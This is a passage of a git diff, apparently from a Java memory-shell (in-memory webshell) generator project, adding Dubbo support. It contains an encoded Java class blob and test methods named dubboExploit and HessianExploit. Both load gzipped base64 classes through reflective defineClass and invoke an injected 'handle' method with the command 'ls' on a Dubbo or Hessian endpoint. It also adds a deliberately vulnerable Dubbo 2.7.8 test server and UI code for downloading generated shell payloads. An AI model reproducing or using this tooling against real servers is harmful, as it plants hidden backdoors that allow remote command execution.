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"); + String s = service.loadBytes(bytes); + System.out.println(s); + + String result = service.sayHello("world"); + System.out.println(result); + } finally { + reference.destroy(); + } + } + + public static void dubboExploit() throws Exception { + String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService"; + String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA=="; + byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b)); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + ClassLoader classLoader = ClassGenerator.class.getClassLoader(); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + registerInJavassistClassPool(classLoader, bytes); + ReferenceConfig reference = new ReferenceConfig<>(); + reference.setApplication(new ApplicationConfig("dubbo-consumer")); + reference.setInterface(clazz); + reference.setVersion("1.0.0"); + reference.setUrl(url); + + try { + Object svc = reference.get(); + byte[] result = (byte[]) svc.getClass().getMethod("handle", byte[].class).invoke(svc, "ls".getBytes()); + System.out.println(new String(result)); + } finally { + reference.destroy(); + } + } + + public static void HessianExploit() throws Exception { + String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv2MIp/SUH3XoqL8IpfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAAQmBKEhAAAAA=="; + byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b)); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(HessianRemoteObject.class.getClassLoader(), bytes, 0, bytes.length); + + HessianProxyFactory factory = new HessianProxyFactory(); + factory.setOverloadEnabled(true); + String serviceUrl = "http://127.0.0.1:12345/org.apache.http.web.handlers.hrLuU.ErrorDubboService"; + Object svc = factory.create( + clazz, serviceUrl); + byte[] result = (byte[]) svc.getClass().getMethod("handle", byte[].class).invoke(svc, "ls".getBytes()); + System.out.println(new String(result)); + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + private static void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) { + try { + Object pool = ClassGenerator.getClassPool(classLoader); + pool.getClass().getMethod("makeClass", java.io.InputStream.class) + .invoke(pool, new ByteArrayInputStream(classBytes)); + } catch (Throwable ignored) { + } + } +} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java new file mode 100644 index 00000000..167beb9e --- /dev/null +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.vuldubbo278; + +import org.springframework.boot.ApplicationRunner; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; + +import javax.script.ScriptEngineManager; + +@SpringBootApplication +public class VulDubbo278Application { + + public static void main(String[] args) { + SpringApplication.run(VulDubbo278Application.class, args); + } + +} diff --git a/vul/vul-dubbo278/src/main/resources/application.properties b/vul/vul-dubbo278/src/main/resources/application.properties new file mode 100644 index 00000000..17cbe332 --- /dev/null +++ b/vul/vul-dubbo278/src/main/resources/application.properties @@ -0,0 +1,15 @@ +# Spring boot application +spring.application.name=dubbo-auto-configuration-provider-demo +# Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service +dubbo.scan.base-packages=com.reajason.javaweb.vuldubbo278 + +# Dubbo Application +## The default value of dubbo.application.name is ${spring.application.name} +## dubbo.application.name=${spring.application.name} + +# Dubbo Protocol +dubbo.protocol.name=dubbo +dubbo.protocol.port=12345 + +## Dubbo Registry +dubbo.registry.address=N/A diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index 0540e81b..8459b5d9 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -134,7 +134,9 @@ export default function MainConfigCard({ const currentTargetJdk = form.getValues("targetJdkVersion") as string; const currentJdkVersion = Number.parseInt(currentTargetJdk, 10); const shouldRaiseJdkVersion = - (server === "SpringWebFlux" || server === "XXLJOB") && + (server === "SpringWebFlux" || + server === "XXLJOB" || + server === "Dubbo") && currentJdkVersion <= 52; const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50"; if (currentTargetJdk !== nextJdkVersion) { diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 09d11476..f29e8dbc 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -22,6 +22,7 @@ export function BasicInfo({ generateResult, }: Readonly<{ generateResult?: MemShellResult }>) { const { t } = useTranslation(["memshell", "common"]); + const isDubbo = generateResult?.shellConfig.server === "Dubbo"; return ( @@ -54,9 +55,8 @@ export function BasicInfo({ value={generateResult?.injectorConfig.urlPattern} /> - {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && ( - - )} + {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && + !isDubbo && }
{generateResult?.shellConfig.shellTool === ShellToolType.Behinder && ( <> @@ -125,37 +125,38 @@ export function BasicInfo({ /> )} - {generateResult?.shellConfig.shellTool === ShellToolType.Command && ( - - - )} + {generateResult?.shellConfig.shellTool === ShellToolType.Command && + !isDubbo && ( + + + )} {(generateResult?.shellConfig.shellTool === ShellToolType.Suo5 || generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && ( ); } + const shellClassName = generateResult?.shellClassName; + + const handleDownload = useCallback(() => { + const fileName = + shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; + if (packMethod.includes("JSP")) { + const fileExtension = packMethod.includes("JSPX") ? ".jspx" : ".jsp"; + const content = new Blob([packResult as string], { type: "text/plain" }); + return downloadContent(content, fileName, fileExtension); + } else if ( + packMethod.includes("JavaCommons") || + packMethod.includes("Hessian") + ) { + const content = new Blob([base64ToBytes(packResult as string)], { + type: "application/octet-stream", + }); + return downloadContent(content, fileName, ".data"); + } else if (packMethod === "Base64") { + return downloadBytes(packResult as string, shellClassName); + } + }, [packMethod, packResult, shellClassName]); return ( ({packResult?.length})
} + button={ + packMethod.includes("JSP") || + packMethod === "Base64" || + packMethod.includes("JavaCommons") || + packMethod.includes("Hessian") ? ( + + ) : null + } wrapLongLines={true} showLineNumbers={false} language={"text"} diff --git a/web/app/components/memshell/shell-result.tsx b/web/app/components/memshell/shell-result.tsx index c09fc6fb..dbb1b301 100644 --- a/web/app/components/memshell/shell-result.tsx +++ b/web/app/components/memshell/shell-result.tsx @@ -5,7 +5,7 @@ import { toast } from "sonner"; import { QuickUsage } from "@/components/memshell/quick-usage"; import { Button } from "@/components/ui/button"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; -import { downloadBytes } from "@/lib/utils"; +import { cn, downloadBytes } from "@/lib/utils"; import type { MemShellResult } from "@/types/memshell"; import CodeViewer from "../code-viewer"; import { BasicInfo } from "./results/basic-info"; @@ -21,13 +21,19 @@ export default function ShellResult({ generateResult?: MemShellResult; }>) { const { t } = useTranslation(["common", "memshell"]); + const hasHelper = + generateResult?.injectorHelperBytesBase64Str && + generateResult?.injectorHelperBytesBase64Str !== ""; + if (!generateResult) { return ; } const height = 600; return ( - + {t("common:generateResult")} @@ -35,6 +41,11 @@ export default function ShellResult({ {t("memshell:injectorClass")} + {hasHelper && ( + + {t("memshell:injectorHelperClass")} + + )} @@ -110,6 +121,42 @@ export default function ShellResult({ language="text" /> + {hasHelper && ( + + + {generateResult?.shellClassName + "$1"} + + } + button={ + + } + height={height} + code={generateResult?.injectorHelperBytesBase64Str ?? ""} + language="text" + /> + + )} ); } diff --git a/web/app/components/memshell/tabs/command-tab.tsx b/web/app/components/memshell/tabs/command-tab.tsx index c76df469..3b890653 100644 --- a/web/app/components/memshell/tabs/command-tab.tsx +++ b/web/app/components/memshell/tabs/command-tab.tsx @@ -42,6 +42,10 @@ export function CommandTabContent({ name: "shellType", control: form.control, }); + const server = useWatch({ + name: "server", + control: form.control, + }); const { data } = useQuery<{ encryptors: Array; implementationClasses: Array; @@ -58,31 +62,36 @@ export function CommandTabContent({ - ( - - )} - /> + {server !== "Dubbo" && ( + ( + + )} + /> + )}